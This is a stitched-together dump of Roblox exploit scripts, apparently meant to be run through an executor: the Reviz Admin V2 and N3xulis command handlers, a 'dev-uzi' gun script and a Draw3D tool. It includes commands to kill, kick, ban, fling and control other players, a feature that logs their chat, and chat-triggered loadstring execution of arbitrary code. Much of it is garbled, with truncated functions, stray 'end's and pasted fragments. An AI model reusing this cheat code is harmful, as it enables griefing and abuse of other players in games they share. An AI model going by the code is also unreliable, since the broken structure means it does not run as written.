if string.sub(CMDBAR.Text, 1, 5) == (".age ") then
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.AccountAge.." Days";
Text = "Account age of "..player.Name;
})
end
end
if string.sub(CMDBAR.Text, 1, 4) == (".id ") then
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 5))) do
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.UserId.." ID";
Text = "Account ID of "..player.Name;
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("gameid") then
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Game ID";
Text = "Game ID: ".. game.GameId;
})
end
if string.sub(CMDBAR.Text, 1, 3) == ("pgs") then
local pgscheck = game:GetService("Workspace"):PGSIsEnabled()
if pgscheck == true then
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Enabled!";
})
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Disabled!";
})
end
end
if string.sub(CMDBAR.Text, 1, 11) == ("removeinvis") then
for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
if v:IsA("Part") then
if v.Transparency == 1 then
if v.Name ~= "HumanoidRootPart" then
v:Destroy()
end
end
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("removefog") then
game:GetService("Lighting").FogStart = 0
game:GetService("Lighting").FogEnd = 9999999999999
end
if string.sub(CMDBAR.Text, 1, 7) == ("disable") then
lplayer.Character.Humanoid.Parent = lplayer
end
if string.sub(CMDBAR.Text, 1, 6) == ("enable") then
lplayer.Humanoid.Parent = lplayer.Character
end
if string.sub(CMDBAR.Text, 1, 13) == ("givealltools ") then
for i,v in
pairs(game:GetService("Players").LocalPlayer.Backpack:GetDescendants()) do
if v:IsA("Tool") then
v.Parent = lplayer.Character
wait()
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 14)))
do
v.Parent = player.Character
end
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("flyspeed ") then
speedfly = string.sub(CMDBAR.Text, 10)
wait()
change()
end
if string.sub(CMDBAR.Text, 1, 7) == ("carpet ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
local Anim3 = Instance.new("Animation")
Anim3.AnimationId = "rbxassetid://282574440"
local track3 = lplayer.Character.Humanoid:LoadAnimation(Anim3)
track3:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("uncarpet") then
banpl = false
end
if string.sub(CMDBAR.Text, 1, 6) == ("stare ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
staring = true
stareplr = v
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unstare") then
staring = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("logchat") then
chatlogs = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat enabled";
Text = "Now logging all player chat.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("unlogchat") then
chatlogs = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat disabled";
Text = "Stopped logging all player chat.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("fixcam") then
game:GetService("Workspace").CurrentCamera:Destroy()
wait(0.1)
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
game:GetService("Workspace").CurrentCamera.CameraType = "Custom"
lplayer.CameraMinZoomDistance = 0.5
lplayer.CameraMaxZoomDistance = 400
lplayer.CameraMode = "Classic"
end
if string.sub(CMDBAR.Text, 1, 7) == ("unstate") then
changingstate = false
end
CMDBAR.Text = ""
end
end)
wait(0.3)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loaded successfully!";
Text = "Reviz Admin V2 by illremember";
})
wait(0.1)
print("Reviz Admin V2 loaded!")
if game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled) Consider using a different admin
script.")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider using a different admin script.";
})
end
N3xulis.Name = "N3xulis"
N3xulis.Parent = Admin
N3xulis.BackgroundColor3 = Color3.new(0.666667, 0, 0)
N3xulis.Position = UDim2.new(0.536931813, 0, 0.535087705, 0)
N3xulis.Size = UDim2.new(0, 147, 0, 39)
N3xulis.Font = Enum.Font.Cartoon
N3xulis.Text = "N3xulis"
N3xulis.TextColor3 = Color3.new(0, 0, 0)
N3xulis.TextScaled = true
N3xulis.TextSize = 14
N3xulis.TextWrapped = true
N3xulis.MouseButton1Down:connect(function()
-- __ __ ___
--/\ \/\ \ /\_ \ __
--\ \ `\\ \ __ __ _ __ __\//\ \ /\_\ ____
-- \ \ , ` \ /'__`\/\ \/'\/\ \/\ \ \ \ \ \/\ \ /',__\
-- \ \ \`\ \/\ __/\/> </\ \ \_\ \ \_\ \_\ \ \/\__, `\
-- \ \_\ \_\ \____\/\_/\_\\ \____/ /\____\\ \_\/\____/
-- \/_/\/_/\/____/\//\/_/ \/___/ \/____/ \/_/\/___/
--------------------------Version Beta--------------------------
---------------------------------------------------------------
---------------------------N3xul---------------------------
---------------------------------------------------------------
local services={}
local cmds={}
local std={}
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness,
time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe =
game.Lighting.FogEnd, fs = game.Lighting.FogStart}
function FIND_CHILD(PATH, NAME) if PATH:FindFirstChild(NAME) then return true end
return false end
wait(0.1)
services.players=gPlayers
services.lighting=game:GetService('Lighting')
services.workspace=game:GetService('Workspace')
services.events = {}
local user = gPlayers.LocalPlayer
local gCoreGui = game:GetService('CoreGui')
local gPlayers = game:GetService('Players')
local gLighting = game:GetService('Lighting')
local gWorkspace = game:GetService('Workspace')
local cmdprefix=';'
local scriptprefix='\\'
local split=" "
-------------------------
-----Ban information-----
-------------------------
BannedPlayers = {
'norma832', -- oh my god leave me alone
'LordCrazy13' -- u are just annoying
}
------------------------
-------Admin Data-------
------------------------
------------------------
-----Defines Admins-----
------------------------
local admins = {
'DontAddAnything(MakesItBug)',
}
-------------------------------------------
---Commands that show up in the CMD list---
-------------------------------------------
CMDs = {
'1. ff player',
'2. unff player',
'3. fire player',
'4. unfire player',
'5. sparkles player',
'6. unsparkles player',
'7. smoke player',
'8. unsmoke player',
'9. btools player',
'10. god player',
'11. sgod player',
'12. ungod player',
'13. heal player',
'14. freeze player',
'15. thaw player',
'16. kill player',
'17. sound',
'18. volume',
'19. pitch',
'20. explode player',
'21. invisible player',
'22. visible player',
'23. goto player',
'24. bring player',
'25. tp player',
'26. char player',
'27. speed player',
'28. time',
'29. kick player',
'30. ban player',
'31. unlockws',
'32. unanchorws',
'33. hat player',
'34. gear player',
'35. m "message"',
'36. skick player',
'37. admin player',
'38. unadmin player',
'39. firstp player',
'40. thirdp player',
'41. chat player',
'42. insert',
'43. name player',
'44. unname player',
'45. stun player',
'46. unstun player',
'47. sit player',
'48. guest player',
'49. damage player',
'50. view player',
'51. unview player',
'52. nolimbs player',
'53. box player 1012',
'54. nobox player',
'55. ghost player',
'56. sphere player',
'57. loadmap',
'58. sky',
'59. ambient',
'60. gui',
'61. jail player',
'62. unjail player',
'63. shutdown',
'64. animation player',
'65. normal player',
'66. creeper player',
'67. uncreeper player',
'68. shrek player',
'69. unshrek player',
'70. spam',
'71. nospam',
'72. control player',
'73. nuke player',
'74. infect player',
'75. uninfect player',
'76. duck player',
'77. unduck player',
'78. disable player',
'79. enable player',
'80. size player',
'81. confuse player',
'82. unconfuse player',
'83. clone player',
'84. spin player',
'85. unspin player',
'86. dog player',
'87. undog player',
'88. tptool',
'89. loopsit player',
'90. unloopsit player',
'91. loopjump player',
'92. unloopjump player',
'93. loopheal player',
'94. unloopheal player',
'95. fling player',
'96. ayylmao player',
'97. nograv player',
'98. grav player',
'99. seizure player',
'100. unseizure player',
'101. cape 1012',
'102. uncape',
'103. paper player',
'104. punish player',
'105. unpunish player',
'106. disco',
'107. undisco',
'108. lockws',
'109. base',
'110. fix',
'111. flood',
'112. spookyify',
'113. explorer (Possible crash)',
'114. decalspam ID',
'115. wtrbtools',
'116. respawn',
'117. lightsaber',
'118. draw',
'119. devuzi',
'- float player',
'- unfloat player',
'- noclip',
'- clip',
'- prefix <string>',
'- admins',
'- bans',
'- cmds',
'- version'
}
-------
--Lib--
-------
updateevents=function()
for i,v in pairs(services.events) do services.events:remove(i) v:disconnect()
end
for i,v in pairs(gPlayers:players())do
local ev = v.Chatted:connect(function(msg) do_exec(msg,v) end)
services.events[#services.events+1] = ev
end
end
std.inTable=function(tbl,val)
if tbl==nil then return false end
std.out=function(str)
print(str)
end
std.list=function(tbl)
local str=''
for i,v in pairs(tbl)do
str=str..tostring(v)
if i~=#tbl then str=str..', ' end
end
return str
end
std.endat=function(str,val)
local z=str:find(val)
if z then
return str:sub(0,z-string.len(val)),true
else
return str,false
end
end
isAdmin=function(name)
if name==admin then
return true
elseif admins[name]==true then
return true
end
return false
end
local exec=function(str)
spawn(function()
local script, loaderr = loadstring(str)
if not script then
error(loaderr)
else
script()
end
end)
end
local findCmd=function(cmd_name)
for i,v in pairs(cmds)do
if v.NAME:lower()==cmd_name:lower() or
std.inTable(v.ALIAS,cmd_name:lower())then
return v
end
end
end
local getCmd=function(msg)
local cmd,hassplit=std.endat(msg:lower(),split)
if hassplit then
return {cmd,true}
else
return {cmd,false}
end
end
local getprfx=function(strn)
if strn:sub(1,string.len(cmdprefix))==cmdprefix then
return{'cmd',string.len(cmdprefix)+1}
elseif strn:sub(1,string.len(scriptprefix))==scriptprefix then
return{'exec',string.len(scriptprefix)+1}
end return
end
local getArgs=function(str)
local args={}
local new_arg=nil
local hassplit=nil
local s=str
repeat
new_arg,hassplit=std.endat(s:lower(),split)
if new_arg~='' then
args[#args+1]=new_arg
s=s:sub(string.len(new_arg)+string.len(split)+1)
end
until hassplit==false
return args
end
pcall(function()
cmd.FUNC(args, plr)
end)
end
function do_exec(str,plr)
if not isAdmin(plr.Name)then return end
str=str:gsub('/e ','')
local t=getprfx(str)
if t==nil then return end
str=str:sub(t[2])
if t[1]=='exec' then
exec(str)
elseif t[1]=='cmd' then
execCmd(str, plr)
end
end
updateevents()
_G.exec_cmd = execCmd
--game.Players.LocalPlayer.Chatted:connect(doexec)
local _char=function(plr_name)
for i,v in pairs(game.Players:GetChildren())do
if v:IsA'Player'then
if v.Name==plr_name then return v.Character end
end
end
return
end
local _plr=function(plr_name)
for i,v in pairs(game.Players:GetChildren())do
if v:IsA'Player'then
if v.Name==plr_name then return v end
end
end
return
end
function addcmd(name,desc,alias,func)
cmds[#cmds+1]=
{
NAME=name;
DESC=desc;
ALIAS=alias;
FUNC=func;
}
end
---------------
---Cape Info---
---------------
function Cape(playerCaped)
repeat
wait()
until playerCaped and playerCaped.Character and
playerCaped.Character:FindFirstChild("Torso")
local Torso = playerCaped.Character.Torso
motor1.MaxVelocity = 1
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
repeat wait(1/44)
local ang = 0.2
local oldmag = Torso.Velocity.magnitude
local mv = .1
if wave then
ang = ang + ((Torso.Velocity.magnitude/10) * .05) + 1
wave = false
else
wave = false
end
ang = ang + math.min(Torso.Velocity.magnitude/30, 1)
motor1.MaxVelocity = math.min((Torso.Velocity.magnitude/10), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle < -.05 and motor1.DesiredAngle > -.05 then
motor1.MaxVelocity = .04
end
repeat
wait()
until
motor1.CurrentAngle == motor1.DesiredAngle or math.abs(Torso.Velocity.magnitude -
oldmag) >= (Torso.Velocity.magnitude/10) + 1
if Torso.Velocity.magnitude < .1 then
wait(.1)
end
until not Cape or Cape.Parent ~= Torso.Parent
end
----------------
----Commands----
----------------
addcmd('ff','gives ff to player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
Instance.new("ForceField", pchar)
end
end)
-----------------------------------------------------------------------------------
---
_clear=function()
local c={char;bag;gui;};
for i=1,#c do
local c=c[i]:children();
for i=1,#c do
if(c[i].Name==name)then
c[i].Parent=nil;
end;
end;
end;
local n=name..user.Name;
local c=workspace:children();
for i=1,#c do
if(c[i].Name==n)then
c[i].Parent=nil;
end;
end;
end;
_valid_key=function(object,key)
return object[key],key;
end;
_new=function(class)
return function(props)
if(type(list_base_props)=='table')then
for i,v in next,list_base_props do
if(props[i]==nil)then
props[i]=v;
end;
end;
end;
local object=class;
if(type(class)=='string')then
object=Instance.new(class:sub(1,1):upper()..class:sub(2));
end;
local parent=props[1];
props[1]=nil;
if(parent)then
object.Parent=parent;
end;
return object;
end;
end;
_RGB=function(r,g,b)
return Color3.new(r/255,g/255,b/255);
end;
_copy=function(o)
local def=o.archivable;
o.archivable=true;
local c=o:clone();
o.archivable=def;
return c;
end;
_hum=function(char)
local hum=char:findFirstChild'Humanoid';
if(not hum or hum.className~='Humanoid')then
local c=char:children();
for i=1,#c do
if(c[i].className=='Humanoid')then
return c[i];
end;
end;
else
return hum;
end;
end;
_hum_tag=function(hum)
local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
c.Name='creator';
c.Value=user;
if(hum.Health==0 and not hum:findFirstChild'killed')then
Instance.new('BoolValue',hum).Name='killed';
bullets.clip=bullets.clip+10;
end;
end;
_hum_dam=function(hum,dam,percent)
hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
if(hum.Health<=hum.MaxHealth*0.1)then
_hum_tag(hum);
end;
end;
_ray=function(v0,v1,i)
local mag=(v0-v1).magnitude;
local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or
workspace.FindPartOnRay)(workspace,ray,i);
end;
_must=function(v0,v1,i)
local hit,pos=_ray(v0,v1,i);
return not hit and mouse.target or hit,pos;
end;
_cframe=function(x,y,z,r0,r1,r2)
return CFrame.Angles(
math.rad(r0 or 0),
math.rad(r1 or 0),
math.rad(r2 or 0)
)*CFrame.new(x,y,z);
end;
_update=function()
if(bool_active and not screen.Parent)then
screen.Parent=gui;
elseif(not bool_active and screen.Parent)then
screen.Parent=nil;
end;
end;
_light=function(v0,v1)
local mag=(v0-v1).magnitude;
local len=math.random(2,7);
len=len>mag/2 and mag/2 or len;
local light=_new'part'{
cFrame=CFrame.new(v0,v1);
size=Vector3.new(1,1,1);
color=_RGB(255,255,0);
anchored=true;
inv;
};
_new'blockMesh'{
scale=Vector3.new(0.2,0.2,len);
offset=Vector3.new(0,0,-len/2);
light;
};
local bb=_new'billboardGui'{
size=UDim2.new(2,0,2,0);
adornee=light;
light;
};
_new'imageLabel'{
image=url:format(109101526);
backgroundTransparency=1;
size=UDim2.new(1,0,1,0);
bb;
};
_rem(light,0.15);
end;
_rem=function(object,del)
if(del)then
delay(del,function()
if(object.Parent)then
object.Parent=nil;
end;
end);
else
pcall(function()
if(object.Parent)then
object.Parent=nil;
end;
end);
end;
end;
_blood=function(pos,count)
for i=1,count do
local p=_new'part'{
rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
position=pos+Vector3.new(math.random(),math.random(),math.random());
velocity=Vector3.new(math.random(),math.random(),math.random())*50;
size=Vector3.new(math.random(),math.random(),math.random())/3;
color=_RGB(255,0,0);
transparency=0.5;
canCollide=true;
bottomSurface=0;
topSurface=0;
formFactor=3;
locked=true;
inv;
};
delay(5,function()
p.Parent=nil;
end);
end;
end;
_make_hue=function()
h_hue=_new'part'{
size=Vector3.new(0.25,1.8,0.35);
color=_RGB(100,100,100);
formFactor=3;
name='hue';
handle;
};
hh_weld=_new'weld'{
c1=_cframe(0,0.5,0);
part0=handle;
part1=h_hue;
handle;
};
end;
_shot=function(v0,v1)
if(not time_left)then
time_left=0;
end;
if(time_left>time())then
return nil;
else
time_left=time()+math.random(1,10)/100;
end;
if(bullets.current<1)then
local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
soundId='rbxasset://sounds/SWITCH3.wav';
name='tick_sound';
volume=0.2;
pitch=2;
head;
};
tick_sound:play();
if(bullets.clip>0)then
time_left=time()+2;
h_hue:breakJoints();
h_hue.CanCollide=true;
h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
_rem(h_hue,10);
delay(1.9,function()
_make_hue();
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;
bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
end);
end;
return nil;
else
bullets.current=bullets.current-1;
h_weld.C1=_cframe(0,0.75,0,
-math.random(1000,1100)/10,180,0);
d_weld.C1=_cframe(0,-0.25,0.3);
lightstuff.Visible=true;
delay(0.1,function()
lightstuff.Visible=false;
end);
_rem(_new'part'{
velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-
4,-5,0)).p).lookVector*10;
cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
size=Vector3.new(0.1,0.1,0.4);
color=_RGB(200,200,0);
material='Slate';
canCollide=true;
formFactor=3;
inv;
},5);
delay(0.1,function()
d_weld.C1=_cframe(0,-0.25,0);
if(bool_active)then
h_weld.C1=h_weld_cf_active;
end;
end)
end;
local hit,pos=_must(v0,v1,char);
shot_sound:play();
_light(v0,v1);
if(hit.Parent.className=='Hat')then
hit:breakJoints();
hit.CanCollide=true;
hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
else
local hum=_hum(hit.Parent);
if(not hum)then
if(hit.Anchored==false and hit.Size.magnitude<4)then
hit:breakJoints();
hit.CanCollide=true;
end;
else
_hum_dam(hum,math.random(4,6));
_blood(pos,math.random(3,6));
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/
6;
if(hit.Name=='Head')then
hum.Health=0;
_blood(pos,math.random(3,6));
delay(0.001,function()
_new(workspace:FindFirstChild'head_shot'or'sound'){
pitch=math.random(70,100)*0.01;
soundId=url:format(1876552);
name='head_shot';
workspace;
}:play();
end);
_hum_tag(hum);
_rem(_new'part'{
cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-
(v0-pos).magnitude*0.5);
size=Vector3.new(0.1,0.1,(v0-
pos).magnitude);
color=torso.Color;
transparency=0.5;
canCollide=false;
bottomSurface=0;
anchored=true;
formFactor=3;
topSurface=0;
inv;
},30);
hit.Parent=nil;
for b=0,1 do
for a=0,1 do
for i=0,1 do
_rem(_new'part'{
velocity=CFrame.new(v0,pos).lookVector*20;
cFrame=hit.CFrame*CFrame.new(i,-b,a);
size=Vector3.new(0.5,0.5,0.5);
color=_RGB(255,255,255);
bottomSurface=0;
canCollide=true;
transparency=0;
formFactor=3;
topSurface=0;
hum;
},30);
end;
end;
end;
end;
end;
end;
end;
-----------------------------------------------------------------------------------
-----
_cf_select=function(mouse)
mouse.Icon=url:format(109111387);--108999296
bool_active=true;
weld.Part1=nil;
weld.Part0=nil;
weld=_new(torso:findFirstChild'right_arml'or'weld'){
name='right_arml';
part0=torso;
part1=arm;
torso;
};
arml=(arml or 0)+1;
local alv=arml;
local gyro=torso:findFirstChild'p_gyro'or
Instance.new('BodyGyro',torso);
gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
gyro.P=30000;
gyro.D=1000;
gyro.Name='p_gyro';
repeat
local pos=mouse.hit.p;
local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
val=-math.pi*0.5;
valp=val*-1;
p0=torso.CFrame;
p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+
(p0*CFrame.Angles(0,val,0)).lookVector;
p1=p0+((p0.p-pos).unit*-2);
p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
hitpos=torso.Position;
cj=CFrame.new(hitpos);
c0=torso.CFrame:inverse()*cj;
c1=p2:inverse()*cj;
weld.C0=c0;
weld.C1=c1;
gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
wait(0.001);
until arml~=alv;
gyro.Parent=nil;
end;
end;
_cf_deselect=function()
bool_active=false;
arml=(arml or 0)+1;
loop_shot=(loop_shot or 0)+1;
h_weld.Part0=torso;
h_weld.C1=h_weld_cf_inactive;
local weld=torso:findFirstChild'right_arml';
if(weld)then
weld.Part1=nil;
weld.Part0=nil;
end;
local arm=char:findFirstChild'Right Arm';
local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
weld.Part0=torso;
weld.Part1=arm;
end;
end;
_cf_mouse=function(event,fun)
mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
if(bool_active)then
fun(...);
end;
end);
end;
-----------------------------------------------------------------------------------
-----
do
local main=getfenv(0);
local c=game:children();
local check=function(v)
if(v.className~=''and v.className~='Instance'and
game:service(v.className))then
main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
end;
end;
for i=1,#c do
pcall(check,c[i]);
end;
end;
-----------------------------------------------------------------------------------
-----
bullets={
maximum=51111111111111111111111111110;
current=511111111111111111111111111111110;
clip=501111111111111111111111111111111*4;
};
list_base_props={
backgroundColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
borderSizePixel=0;
color=_RGB(0,0,0);
archivable=false;
canCollide=false;
bottomSurface=0;
topSurface=0;
formFactor=0;
locked=true;
};
-----------------------------------------------------------------------------------
-----
user=players.localPlayer;
mouse=user:getMouse();
char=user.Character;
gui=user.PlayerGui;
bag=user.Backpack;
torso=char.Torso;
head=char.Head;
hum=_hum(char);
url='rbxassetid://%d';
name='dev-uzi';
h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
0,90,-70);
h_weld_cf_active=_cframe(0,0.75,0,
-110,180,0);
-----------------------------------------------------------------------------------
-----
_clear();
-----------------------------------------------------------------------------------
-----
_cf_mouse('button1Down',function()
loop_shot=(loop_shot or 0)+1;
local vers=loop_shot;
local step=runService.Stepped;
repeat
_shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
step:wait();--wait(0.001);
until vers~=loop_shot;
end);
_cf_mouse('button1Up',function()
loop_shot=(loop_shot or 0)+1;
end);
_cf_mouse('move',function()
cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
end);
_cf_mouse('keyDown',function(k)
if(k=='r')then
if(bullets.clip>0 and time_left<=time())then
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;
bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
if(got~=0)then
time_left=time()+2;
end;
end;
end;
end);
-----------------------------------------------------------------------------------
-----
screen=_new'screenGui'{
name=name;
};
cross_f=_new'frame'{
size=UDim2.new(0,21,0,21);
backgroundTransparency=1;
screen;
};
for i=0,1 do
_new'frame'{
position=UDim2.new(0,13*i,0,11);
size=UDim2.new(0,10,0,1);
cross_f;
};
end;
for i=0,1 do
_new'frame'{
position=UDim2.new(0,11,0,13*i);
size=UDim2.new(0,1,0,10);
cross_f;
};
end;
-----------------------------------------------------------------------------------
-----
shot_sound=_new(head:findFirstChild'2920959'or'sound'){
soundId=url:format(2920959);
pitch=1.4;
head;
};
if(shot_sound.Name~='2920959')then
shot_sound.Name='2920959';
shot_sound:play();
end;
bin=_new'hopperBin'{
deselected=_cf_deselect;
selected=_cf_select;
name=name;
bag;
};
inv=_new'model'{
name=name;
char;
};
handle=_new'part'{
size=Vector3.new(0.3,1.3,0.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
inv;
touched=function(hit)
if(hit.Parent.className=='Model')then
local hum=_hum(hit.Parent);
if(hum~=nil)then
_hum_dam(hum,handle.Velocity.magnitude);
end;
end;
end;
};
h_weld=_new'weld'{
c1=h_weld_cf_inactive;
part1=handle;
part0=torso;
handle;
};
_make_hue();
h_part=_new'part'{
size=Vector3.new(0.4,0.4,1.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
handle;
};
hp_weld=_new'weld'{
c1=_cframe(0,-1.3/2,-0.3,
20,0,0);
part0=handle;
part1=h_part;
handle;
};
drag=_new'part'{
size=Vector3.new(0.5,0.45,1.5);
color=_RGB(100,100,100);
name='handle';
formFactor=3;
handle;
};
d_weld=_new'weld'{
c1=_cframe(0,-0.25,0);
part0=h_part;
part1=drag;
handle;
};
tube=_new'part'{
size=Vector3.new(0.2,0.2,1.5);
color=_RGB(0,0,0);
name='handle';
formFactor=3;
handle;
};
t_weld=_new'weld'{
c1=_cframe(0,-0.3,-0.1);
part0=h_part;
part1=tube;
handle;
};
bullets_label=_new'textLabel'{
textStrokeColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
textStrokeTransparency=0;
backgroundTransparency=1;
fontSize=5;
screen;
};
lightstuff=_new'frame'{
backgroundColor3=_RGB(255,255,255);
position=UDim2.new(0,0,0,-1);
backgroundTransparency=0.5;
size=UDim2.new(1,0,1,1);
borderSizePixel=0;
visible=false;
screen;
};
coroutine.wrap(function()
local red,white,green;
repeat
if(screen.Parent)then
if(not green and bullets.current==bullets.maximum)then
green=true;
bullets_label.TextColor3=_RGB(0,200,0);
elseif(not red and bullets.current==0)then
red=true;
bullets_label.TextColor3=_RGB(200,0,0);
elseif((red or green)and bullets.current~=0 and
bullets.current~=bullets.maximum)then
bullets_label.TextColor3=_RGB(200,200,200);
green=false;
red=false;
end;
bullets_label.Text=('Bullets:
%d/%d'):format(bullets.current,bullets.clip);
bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBound
s.Y);
bullets_label.Position=UDim2.new(1,-
bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
end;
wait(0.001);
until nil;
end)();
-----------------------------------------------------------------------------------
-----
_G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
local vers=_G.dev_pistol_version;
repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
if(hum.Health==0)then
_clear();
end;
script.Disabled=true;
--
mediafire--------------------------------------------------------------------------
---
end)
user=players.LocalPlayer;
uname=user.Name;
guis=user.PlayerGui;
pack=user.Backpack;
keyDowns={};
freeKeys={};
shortcuts={};
_G.mine=_G.mine or{};
name='Draw3D';
url='http://www.roblox.com/asset/?id=%d';
iconNormal=url:format(96578285);
iconOnDown=url:format(96584484);
ver=0;
drawPixel=0.10;
_G.drawLimit=_G.drawLimit or 1000;
_G.drawColor=_G.drawColor or Color3.new();
destroy=game.remove;
find=game.findFirstChild;
new=Instance.new;
with=function(c)
return function(p)
local o=type(c)=='string'and new(c)or c;
local x=p.Parent;p.Parent=nil;
for i,v in next,p do
o[i]=v;
end;
if(x)then
o.Parent=x;
end;
return o;
end;
end;
getPlace=function()
if(find(workspace,'draw')==nil)then
new('Model',workspace).Name='draw';
end;
if(find(workspace.draw,uname)==nil)then
new('Model',workspace.draw).Name=uname;
end;
return workspace.draw[uname];
end;
drawLine=function(start,target)
local gui=with'BlockMesh'{
Parent=with'Part'{
CFrame=CFrame.new(start,target)*CFrame.new(0,0,-(start-
target).magnitude/2);
Size=Vector3.new(drawPixel,drawPixel,(start-
target).magnitude+.325*drawPixel);
Parent=getPlace();
Color=_G.drawColor;
BottomSurface=0;
Anchored=true;
TopSurface=0;
formFactor=3;
Name=name;
}}.Parent;
table.insert(_G.mine,gui);
return gui;
end;
onDown=function()
if(drawing)then
return nil;
end;
if(selectGui.Adornee)then
destroy(selectGui.Adornee);
end;
drawing=true;
mouse.Icon=iconOnDown;
ver=ver+1;
local cVer,start,target=ver,mouse.hit.p;
local group={};
repeat
Wait(0.02);
target=mouse.hit.p;
table.insert(group,drawLine(start,target));
start=target;
end;
until ver~=cVer;
drawing=false;
local groupM=new('Model',getPlace());
for i,v in next,group do
if(v:IsDescendantOf(Workspace))then
v.Parent=groupM;
end;
end;
if(next(groupM:children())==nil)then
destroy(groupM);
end;
end;
onUp=function()
mouse.Icon=iconNormal;
ver=ver+1;
end;
onKeyDown=function(k)
if(freeKeys[k]==false)then
return false;
end;
freeKeys[k]=false;
Wait(0.01);
if(keyDowns[k])then
keyDowns[k]();
elseif(shortcuts[k])then
shortcuts[k]();
end;
end;
onKeyUp=function(k)
freeKeys[k]=true;
end;
onMove=function()
end;
onSelect=function(lmouse)
frame.Visible=true;
mouse=lmouse;
mouse.Icon=iconNormal;
mouse.Button1Down:connect(onDown);
mouse.KeyDown:connect(onKeyDown);
mouse.Button1Up:connect(onUp);
mouse.KeyUp:connect(onKeyUp);
mouse.Move:connect(onMove);
end;
onDeselect=function()
ver=ver+1;
frame.Visible=false;
selectGui.Adornee=nil;
mouse.Icon=iconNormal;
for i,v in next,freeKeys do
freeKeys[i]=true;
end;
end;
addButton=function(title,shortcut,fun)
with'TextButton'{
Text=string.format(' %s (%s)',title,shortcut);
TextXAlignment=0;
Parent=frame;
}.MouseButton1Up:connect(fun);
shortcuts[shortcut]=fun;
local c=#frame:children();
for i,v in next,frame:children()do
v.Position=UDim2.new(0,0,0,20*(i-1));
v.Size=UDim2.new(1,0,0,20);
end;
frame.Position=UDim2.new(1,-152,.5,-c*10);
frame.Size=UDim2.new(0,150,0,c*20);
end;
tool=with'HopperBin'{
Parent=pack;
Name=name;
};
tool.Deselected:connect(onDeselect);
